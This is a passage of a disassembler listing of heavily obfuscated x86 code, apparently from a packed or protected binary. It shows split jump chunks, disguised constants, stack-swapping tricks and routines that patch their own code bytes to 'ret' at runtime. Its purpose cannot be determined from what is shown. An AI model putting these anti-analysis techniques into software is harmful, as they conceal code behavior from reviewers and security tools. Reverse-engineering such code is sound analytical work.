		jmp	loc_74F39A
sub_746C5E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_746C74:				; CODE XREF: sub_7543C5:loc_747D3Aj
		lea	eax, loc_74B4DC
		push	offset loc_74BB0F
		jmp	nullsub_155
; END OF FUNCTION CHUNK	FOR sub_7543C5

; =============== S U B	R O U T	I N E =======================================



sub_746C84	proc near		; CODE XREF: sub_750C2D-AB1Fp
					; _0z4jwtox:00749B71j

; FUNCTION CHUNK AT 00746D08 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074B497 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0074B5C3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074D8CD SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	eax, ebp
		push	edx
		jmp	loc_746D08
sub_746C84	endp

; ---------------------------------------------------------------------------


loc_746C90:				; CODE XREF: _0z4jwtox:loc_75285Aj
		xchg	ebx, [esp]
		jmp	sub_75310B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E6F5


loc_746C98:				; CODE XREF: sub_74E6F5:loc_749F15j
					; _0z4jwtox:00749F2Cj
		rol	ecx, 1
		add	ecx, 44156103h
		xchg	ecx, [esp+0]
		jmp	loc_75696F
; END OF FUNCTION CHUNK	FOR sub_74E6F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BE8E


loc_746CA8:				; CODE XREF: sub_74BE8E+17j
		mov	[ebp+var_1C], eax
		push	offset loc_745358
		jmp	nullsub_52
; END OF FUNCTION CHUNK	FOR sub_74BE8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C0A0


loc_746CB5:				; CODE XREF: sub_74C0A0:loc_74E807j
		add	edi, 8E1B74C6h
		xchg	edi, [esp+0]
		jmp	loc_754965
; END OF FUNCTION CHUNK	FOR sub_74C0A0

; =============== S U B	R O U T	I N E =======================================



sub_746CC3	proc near		; CODE XREF: sub_7474F5+2ADDp
					; _0z4jwtox:0074FC0Bj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074762E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0074892E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007499A0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074CDF8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00755905 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756ACD SIZE 00000014 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	eax
		mov	eax, [ebp-18h]
		shl	eax, 2
		cdq
		add	eax, [esp+0]
		jb	loc_74762E
		jmp	loc_74CDF8
sub_746CC3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748574


loc_746CDD:				; CODE XREF: sub_748574:loc_754816j
		jge	loc_74EF32
; END OF FUNCTION CHUNK	FOR sub_748574
; START	OF FUNCTION CHUNK FOR sub_74A7D8


loc_746CE3:				; CODE XREF: sub_74A7D8+91F2j
		jmp	nullsub_115
; END OF FUNCTION CHUNK	FOR sub_74A7D8
; ---------------------------------------------------------------------------
		xor	ebp, ecx


loc_746CEA:				; CODE XREF: _0z4jwtox:0074F5E2j
		jmp	loc_7500B9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_193. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_746CF0	proc near		; CODE XREF: sub_745620+Cp
					; sub_7458BE+Ap ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		call	nullsub_5


loc_746CFE:				; CODE XREF: sub_74870B:loc_748BF1j
		call	sub_747C22


loc_746D03:				; CODE XREF: sub_74A7D8+5E39j
		jmp	nullsub_29
sub_746CF0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746C84


loc_746D08:				; CODE XREF: sub_746C84+7j
		jmp	loc_74B497
; END OF FUNCTION CHUNK	FOR sub_746C84

; =============== S U B	R O U T	I N E =======================================



sub_746D0D	proc near		; CODE XREF: sub_748871+Ap
					; _0z4jwtox:00750E26j

; FUNCTION CHUNK AT 0074E133 SIZE 0000000F BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	esi
		push	0D50387D3h
		jmp	loc_74E133
sub_746D0D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_746D1C:				; CODE XREF: sub_746640:loc_74545Dj
		jnb	loc_749C84
		jmp	loc_7570AC
; END OF FUNCTION CHUNK	FOR sub_746640

; =============== S U B	R O U T	I N E =======================================



sub_746D27	proc near		; DATA XREF: sub_74BA42-602Do
		call	sub_746E93
		mov	ds:dword_41F038, eax
		lea	eax, nullsub_186
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_186
sub_746D27	endp

; ---------------------------------------------------------------------------
		push	ecx
; START	OF FUNCTION CHUNK FOR sub_7501AF


loc_746D41:				; CODE XREF: sub_7501AF-691j
		push	36CD381Ah
		xor	ecx, 4ADCC073h
		jmp	loc_745710
; END OF FUNCTION CHUNK	FOR sub_7501AF
; ---------------------------------------------------------------------------


loc_746D51:				; DATA XREF: sub_748C98+Co
		or	eax, eax
		jnz	loc_74A008
		jmp	loc_75766C
; ---------------------------------------------------------------------------

locret_746D5E:				; CODE XREF: _0z4jwtox:loc_7546B4j
		retn
; ---------------------------------------------------------------------------


loc_746D5F:				; CODE XREF: _0z4jwtox:0074F6D3j
		jmp	loc_74B65F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748FA4


loc_746D64:				; CODE XREF: sub_748FA4+13j
		jmp	loc_74AF7A
; END OF FUNCTION CHUNK	FOR sub_748FA4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_45. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_746D6A:				; CODE XREF: sub_74FE55-754Ej
		push	eax
		call	sub_74C2C9
		mov	ds:dword_74F3A0, eax
		cmp	ds:dword_74F3A0, 0
		jnz	loc_7538BD
		jmp	loc_747F62
; END OF FUNCTION CHUNK	FOR sub_74FE55

; =============== S U B	R O U T	I N E =======================================



sub_746D87	proc near		; DATA XREF: sub_746869+5E35o
		push	esi
		push	15487992h
		pop	esi
		and	esi, 5476DB95h
		call	loc_75423F
sub_746D87	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_753176


loc_746D99:				; CODE XREF: sub_753176-2365j
		jmp	loc_755B41
; END OF FUNCTION CHUNK	FOR sub_753176
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C733


loc_746D9E:				; CODE XREF: sub_74C733+7j
		mov	edx, [esp+0]
		call	sub_74A250


loc_746DA6:				; CODE XREF: sub_755923+5j
		jmp	loc_7511E4
; END OF FUNCTION CHUNK	FOR sub_74C733
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_203. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749184


loc_746DAC:				; CODE XREF: sub_749184:loc_74A289j
		rol	edi, 5
		push	offset loc_74538C
		jmp	loc_754724
; END OF FUNCTION CHUNK	FOR sub_749184

; =============== S U B	R O U T	I N E =======================================



sub_746DB9	proc near		; CODE XREF: _0z4jwtox:0074E6B1j
					; sub_75427C+F38p

arg_0		= dword	ptr  4

		xchg	ecx, [esp+0]
		pop	ecx
		xchg	ebp, [esp-4+arg_0]
		mov	ecx, ebp
		pop	ebp
		call	sub_74E203


loc_746DC8:				; CODE XREF: sub_74BED4+78BBj
		jmp	loc_74F00B
sub_746DB9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_746DCD:				; CODE XREF: _0z4jwtox:007530C4j
		jmp	loc_74DA4D
; ---------------------------------------------------------------------------


loc_746DD2:				; CODE XREF: _0z4jwtox:007542ECj
		jle	loc_74F2BC

; =============== S U B	R O U T	I N E =======================================



sub_746DD8	proc near		; CODE XREF: sub_7564A7+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00745228 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00746DE4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074A80C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074F28B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074FBB6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 007534AC SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	byte ptr [eax],	0C3h
		jmp	loc_74A80C
sub_746DD8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746DD8


loc_746DE4:				; CODE XREF: sub_746DD8+8DE4j
		mov	eax, [esp+0]
		push	edx
		push	eax
		jmp	loc_756C26
; END OF FUNCTION CHUNK	FOR sub_746DD8
; ---------------------------------------------------------------------------


loc_746DEE:				; CODE XREF: _0z4jwtox:loc_749876j
		jz	loc_748AE2
		jmp	loc_747305
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74946E


loc_746DF9:				; CODE XREF: sub_74946E+14j
		jz	loc_75083C
		jmp	loc_745861
; END OF FUNCTION CHUNK	FOR sub_74946E
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_746E05:				; CODE XREF: sub_7543C5-19A9j
		jmp	loc_74E85F
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C8DA


loc_746E0A:				; CODE XREF: sub_74C8DA+10j
		jmp	loc_75013F
; END OF FUNCTION CHUNK	FOR sub_74C8DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A7D8


loc_746E0F:				; CODE XREF: sub_74A7D8+577Aj
		ror	eax, 1Dh
		call	sub_74AE46
; END OF FUNCTION CHUNK	FOR sub_74A7D8
; START	OF FUNCTION CHUNK FOR sub_74C2C9


loc_746E17:				; CODE XREF: sub_74C2C9-2268j
		sub	al, 99h
		mov	edx, dword ptr ds:loc_74F377+1
		imul	byte ptr [edx]
		cmp	al, 0A4h
		push	offset loc_745BE7
		jmp	loc_75729D
; END OF FUNCTION CHUNK	FOR sub_74C2C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74721B


loc_746E2D:				; CODE XREF: sub_74721B-F9Ej
					; sub_74721B:loc_748B07j
		call	sub_7501AF


loc_746E32:				; CODE XREF: sub_74CF82-39E7j
		jmp	nullsub_63
; END OF FUNCTION CHUNK	FOR sub_74721B

; =============== S U B	R O U T	I N E =======================================



sub_746E37	proc near		; CODE XREF: _0z4jwtox:0074F766j
					; sub_7514BF+19D6p

arg_0		= dword	ptr  4
arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 0074515D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074586C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007482F5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00748DFF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074A7CA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074C994 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0074F7DC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0075009F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00750B05 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00750C61 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00750FB2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00751388 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 007527D3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 007549D6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0075670E SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_75481B
		pop	ecx
		call	sub_74847B


loc_746E46:				; CODE XREF: sub_746389+73AAj
		jmp	loc_75670E
sub_746E37	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7562D5


loc_746E4B:				; CODE XREF: sub_7562D5:loc_753D71j
		lea	eax, sub_7562D5
		call	sub_748B97
; END OF FUNCTION CHUNK	FOR sub_7562D5
; START	OF FUNCTION CHUNK FOR sub_753FCE


loc_746E56:				; CODE XREF: sub_753FCE-8EC5j
		jmp	loc_756018
; END OF FUNCTION CHUNK	FOR sub_753FCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752EB8


loc_746E5B:				; CODE XREF: sub_752EB8-C2E3j
		jmp	nullsub_186
; END OF FUNCTION CHUNK	FOR sub_752EB8
; ---------------------------------------------------------------------------


loc_746E60:				; CODE XREF: _0z4jwtox:loc_7457FDj
		cmp	ebx, 8B98DE60h
		jmp	loc_754160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CD80


loc_746E6B:				; CODE XREF: sub_74CD80:loc_745EB5j
		mov	eax, [ebp-10h]
		push	offset loc_74F5A7
		jmp	nullsub_143
; END OF FUNCTION CHUNK	FOR sub_74CD80
; ---------------------------------------------------------------------------
		and	edi, esi
		test	edi, eax
		jmp	loc_7572ED
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_271. PRESS KEYPAD	"+" TO EXPAND]
		dw 3F7Dh
dword_746E84	dd 0							; _0z4jwtox:0074DCB9r ...
dword_746E88	dd 0D7915375h, 91B89133h					; _0z4jwtox:007578B3o
		db 1Bh,	8Dh, 0

; =============== S U B	R O U T	I N E =======================================



sub_746E93	proc near		; CODE XREF: sub_74FE55-ADB0j
					; sub_74513A+9j ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 007491D0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074AB46 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0074E53F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00751E83 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00752F54 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075441D SIZE 00000012 BYTES

		jo	loc_7491D0
		jmp	loc_752F54
sub_746E93	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749306


loc_746E9E:				; CODE XREF: sub_749306-87Dj
		add	ecx, esi
		shl	eax, 10h
		jmp	loc_7509A0
; END OF FUNCTION CHUNK	FOR sub_749306
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_751EFF


loc_746EA8:				; CODE XREF: sub_751EFF+Bj
		jnz	loc_74DE2C
		cmp	dword ptr [ebp-0Ch], 5
		jnz	loc_74DE2C
		mov	eax, [ebp+8]
		jmp	loc_7512E4
; END OF FUNCTION CHUNK	FOR sub_751EFF
; ---------------------------------------------------------------------------
		jz	loc_750254
		push	eax
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_746EC7:				; CODE XREF: sub_74CBCF-C77j
		jmp	sub_747C39
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; ---------------------------------------------------------------------------


loc_746ECC:				; CODE XREF: _0z4jwtox:00745584j
		jg	loc_747262

; =============== S U B	R O U T	I N E =======================================



sub_746ED2	proc near		; CODE XREF: sub_747736:loc_7450E2p

; FUNCTION CHUNK AT 00745B16 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074DD88 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00756B61 SIZE 00000005 BYTES

		xchg	esi, [esp+0]


loc_746ED5:				; CODE XREF: sub_74E693:loc_74FC88j
		pop	esi
		add	edx, 917D9404h
		mov	edx, [edx]
		mov	[edx], eax


loc_746EE0:				; CODE XREF: _0z4jwtox:00745A00j
		call	sub_75310B
		mov	edx, ds:dword_74B938
		jmp	loc_745B16
sub_746ED2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752DF2


loc_746EF0:				; CODE XREF: sub_752DF2-D790j
		jnz	loc_755C95
		jmp	loc_753CA1
; END OF FUNCTION CHUNK	FOR sub_752DF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_746EFB:				; CODE XREF: sub_752D11-4A54j
		jnz	loc_7573B3
		jmp	loc_750D97
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75532F


loc_746F06:				; CODE XREF: sub_75532F+FBDj
		jz	loc_747D66


loc_746F0C:				; CODE XREF: sub_75532F:loc_7562E5j
		add	esi, 0DF981CA1h
		xchg	esi, [esp+0]
		jmp	loc_74611D
; END OF FUNCTION CHUNK	FOR sub_75532F
; ---------------------------------------------------------------------------
		jmp	ds:dword_41F038
; ---------------------------------------------------------------------------


loc_746F20:				; CODE XREF: _0z4jwtox:loc_754AE4j
		jz	loc_75602B
; START	OF FUNCTION CHUNK FOR sub_74D782


loc_746F26:				; CODE XREF: sub_74D782+16Dj
		jmp	loc_754EFB
; END OF FUNCTION CHUNK	FOR sub_74D782
; ---------------------------------------------------------------------------
		test	edi, eax
		jmp	loc_75601F
; ---------------------------------------------------------------------------

locret_746F32:				; CODE XREF: _0z4jwtox:loc_75580Bj
		retn

; =============== S U B	R O U T	I N E =======================================



sub_746F33	proc near		; CODE XREF: sub_747F9D+8p
					; _0z4jwtox:00751092j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00746B6A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074ABE6 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00754C1A SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0075635C SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	edx
		push	19399413h


loc_746F3D:				; CODE XREF: sub_752520:loc_74C499j
		xchg	ebx, [esp+0]
		mov	edx, ebx
		pop	ebx
		or	edx, 0BC79AA81h
		jmp	loc_74ABE6
sub_746F33	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74DF5E


loc_746F4E:				; CODE XREF: sub_74DF5E:loc_745F05j
		add	eax, [esp+8+var_8]
		adc	edx, [esp+8+var_4]
		jnz	loc_755CA8
		add	esp, 8
		jmp	loc_75745A
; END OF FUNCTION CHUNK	FOR sub_74DF5E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_198. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_746F64:				; CODE XREF: sub_747C22+EF39j
		jmp	loc_747186
; END OF FUNCTION CHUNK	FOR sub_747C22
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_99. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_746F6A:				; CODE XREF: sub_747736+101j
		jmp	loc_74BA67
; END OF FUNCTION CHUNK	FOR sub_747736
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_157. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746389


loc_746F70:				; CODE XREF: sub_746389+BAC2j
		jmp	loc_74A5F1
; END OF FUNCTION CHUNK	FOR sub_746389
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F78B


loc_746F75:				; CODE XREF: sub_74F78B-3BF8j
		jmp	loc_745FC9
; END OF FUNCTION CHUNK	FOR sub_74F78B

; =============== S U B	R O U T	I N E =======================================



sub_746F7A	proc near		; CODE XREF: sub_747156j
					; DATA XREF: _0z4jwtox:0074714Co

; FUNCTION CHUNK AT 00747F2C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074A61D SIZE 00000005 BYTES

		call	nullsub_262
		call	sub_755103
		mov	dword ptr [ebp-4], 1
		mov	eax, 0
		or	eax, eax
		jz	loc_74A2E7
		jmp	loc_74A61D
sub_746F7A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_746F9D:				; CODE XREF: sub_74D23E+6EB3j
		push	87E981A6h
		jmp	loc_74D095
; END OF FUNCTION CHUNK	FOR sub_74D23E
; ---------------------------------------------------------------------------
		ror	ebp, 1Fh
		jmp	sub_747622
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7474B9


loc_746FAF:				; CODE XREF: sub_7474B9:loc_7520C8j
					; _0z4jwtox:007520D8j
		add	ebx, 5AD5FEC1h
		xchg	ebx, [esp+8+var_8]
		jmp	sub_754A3D
; END OF FUNCTION CHUNK	FOR sub_7474B9

; =============== S U B	R O U T	I N E =======================================



sub_746FBD	proc near		; CODE XREF: _0z4jwtox:0074AF6Bp
					; _0z4jwtox:00757872j

; FUNCTION CHUNK AT 0074EBCE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074EE5D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007562D0 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	edx
		push	0C99164B9h
		pop	edx
		or	edx, 341B236Bh
		jmp	loc_74EE5D
sub_746FBD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7470E8


loc_746FD3:				; CODE XREF: sub_7470E8+E077j
		add	esi, 26390006h
		xchg	esi, [esp+0]
		jmp	loc_746959
; END OF FUNCTION CHUNK	FOR sub_7470E8
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	eax
		jmp	loc_7528B5
; ---------------------------------------------------------------------------


loc_746FEA:				; DATA XREF: sub_757314-9DF3o
		mov	eax, [ebp-14h]
		call	sub_753AAD
; START	OF FUNCTION CHUNK FOR sub_75582A


loc_746FF2:				; CODE XREF: sub_75582A+Fj
		mov	edx, [ebp-18h]
		mov	[edx], eax
; END OF FUNCTION CHUNK	FOR sub_75582A
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_746FF7:				; CODE XREF: sub_747C22-1216j
					; _0z4jwtox:0074919Fj ...
		add	dword ptr [ebp-18h], 4
		inc	dword ptr [ebp-20h]
		jmp	loc_7554E4
; END OF FUNCTION CHUNK	FOR sub_747C22

; =============== S U B	R O U T	I N E =======================================



sub_747003	proc near		; CODE XREF: sub_7475CB+3B52p
					; _0z4jwtox:0074F55Bj

; FUNCTION CHUNK AT 00749110 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	eax, esi
		pop	esi
		mov	eax, [eax]
		mov	byte ptr [ebp+eax-100h], 0
		push	esi
		push	offset loc_756085
		jmp	loc_749110
sub_747003	endp

; ---------------------------------------------------------------------------
		pop	ebx
		jmp	sub_749C06
; ---------------------------------------------------------------------------


loc_747025:				; CODE XREF: _0z4jwtox:0075606Aj
		mov	[ebx], eax
		pop	ebx
		push	offset sub_74F83E
		jmp	locret_74823C

; =============== S U B	R O U T	I N E =======================================



sub_747032	proc near		; CODE XREF: _0z4jwtox:00745D77j
					; sub_74E11E-388Dp

; FUNCTION CHUNK AT 00755590 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		lea	eax, sub_756974
		mov	byte ptr [eax],	0C3h
		jmp	loc_755590
sub_747032	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A99B


loc_747044:				; CODE XREF: sub_74A99B+Bj
		add	esi, 789AF8ACh
		and	esi, 2789E613h
		add	esi, 0F96C90F4h
		call	sub_74549C
; END OF FUNCTION CHUNK	FOR sub_74A99B
; START	OF FUNCTION CHUNK FOR sub_74B1F1


loc_74705B:				; CODE XREF: sub_74B1F1:loc_754613j
		push	esi
		mov	esi, ecx
		xchg	esi, [esp+4+var_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		jnb	loc_7496D6
		jmp	loc_754269
; END OF FUNCTION CHUNK	FOR sub_74B1F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F226


loc_747074:				; CODE XREF: sub_74F226:loc_75160Bj
		mov	[ebp+var_14], 4
		mov	eax, [ebp+var_14]
		push	offset loc_74BE96
		jmp	nullsub_92
; END OF FUNCTION CHUNK	FOR sub_74F226
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_747088:				; CODE XREF: sub_752D11-5608j
		rol	esi, 1Eh
		add	esi, 3A64C1A8h
		mov	[esi], eax
		push	offset loc_74D2B0
		jmp	loc_7485A7
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------


loc_74709D:				; CODE XREF: _0z4jwtox:loc_75418Cj
		mov	byte ptr [eax],	0C3h
		jmp	loc_7521F8
; ---------------------------------------------------------------------------
		call	sub_7507C6


loc_7470AA:				; CODE XREF: _0z4jwtox:0074CD60j
		call	sub_753D0E
		mov	eax, 5AB1337Ah
		push	eax
		push	11752BAFh
		pop	eax
		jmp	loc_752DA4
; ---------------------------------------------------------------------------


loc_7470C0:				; CODE XREF: _0z4jwtox:loc_756D73j
					; DATA XREF: sub_757151-3E8o
		push	edx
		call	sub_753D0E
		push	32A2D082h


loc_7470CB:				; CODE XREF: _0z4jwtox:00751596j
		xchg	ecx, [esp]
		mov	eax, ecx
		pop	ecx
		rol	eax, 1Ah
		jmp	loc_74E743
; ---------------------------------------------------------------------------
		sbb	ecx, edx
		xchg	edi, [eax]
		jmp	sub_752B45
; ---------------------------------------------------------------------------


loc_7470E2:				; CODE XREF: _0z4jwtox:0074500Dj
		add	edx, 0FD13DC53h

; =============== S U B	R O U T	I N E =======================================



sub_7470E8	proc near		; CODE XREF: sub_74AAC1+3CE0p

; FUNCTION CHUNK AT 00746959 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00746FD3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074E4D0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00755153 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 007577C0 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	8FB8D6F8h
		pop	esi
		or	esi, 8CBC70CCh
		add	esi, 3461F853h
		cmp	esi, 0E75145CEh
		jmp	loc_7577C0
sub_7470E8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_747109	proc near		; CODE XREF: _0z4jwtox:00753A53p
					; _0z4jwtox:00757911j

; FUNCTION CHUNK AT 00753111 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		lea	eax, loc_74A0DE
		mov	byte ptr [eax],	0C3h
		jmp	loc_753111
sub_747109	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jl	loc_750161
		jmp	loc_74DAA8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_170. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C1D8


loc_747127:				; CODE XREF: sub_74C1D8-4D87j
		jmp	loc_74CEB6
; END OF FUNCTION CHUNK	FOR sub_74C1D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746556


loc_74712C:				; CODE XREF: sub_746556+C256j
		xor	esi, 409805C4h
		xor	eax, esi
		pop	esi
		sub	eax, 4B24A958h
		ror	eax, 13h
		jmp	loc_7456E3
; END OF FUNCTION CHUNK	FOR sub_746556
; ---------------------------------------------------------------------------


loc_747143:				; CODE XREF: _0z4jwtox:00756736j
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, ecx
		xchg	ebx, [esp]
		push	offset sub_746F7A
		jmp	loc_74547B

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_747156	proc near		; CODE XREF: sub_74504D:loc_750104j
		retn
sub_747156	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74DF5E


loc_747157:				; CODE XREF: sub_74DF5E+7D52j
		jmp	nullsub_289
; END OF FUNCTION CHUNK	FOR sub_74DF5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B079


loc_74715C:				; CODE XREF: _0z4jwtox:loc_748E17j
					; sub_74B079+523j
		jmp	loc_74AC07
; END OF FUNCTION CHUNK	FOR sub_74B079
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B719


loc_747161:				; CODE XREF: sub_74B719-1BDAj
		jmp	nullsub_166
; END OF FUNCTION CHUNK	FOR sub_74B719
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75364C


loc_747166:				; CODE XREF: sub_75364C-E37Bj
		jmp	loc_74A035
; END OF FUNCTION CHUNK	FOR sub_75364C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7473D1


loc_74716B:				; CODE XREF: sub_7473D1+10j
		ja	loc_74F9C9
		jmp	loc_74F649
; END OF FUNCTION CHUNK	FOR sub_7473D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_747176:				; CODE XREF: sub_747C22:loc_74A476j
		add	eax, [ebp-0Ch]
		mov	[ebp-1Ch], eax
		mov	eax, [ebp-1Ch]
		mov	eax, [eax]
		jmp	loc_753975
; ---------------------------------------------------------------------------


loc_747186:				; CODE XREF: sub_747C22:loc_746F64j
		jbe	loc_746260
		jmp	loc_75696A
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------


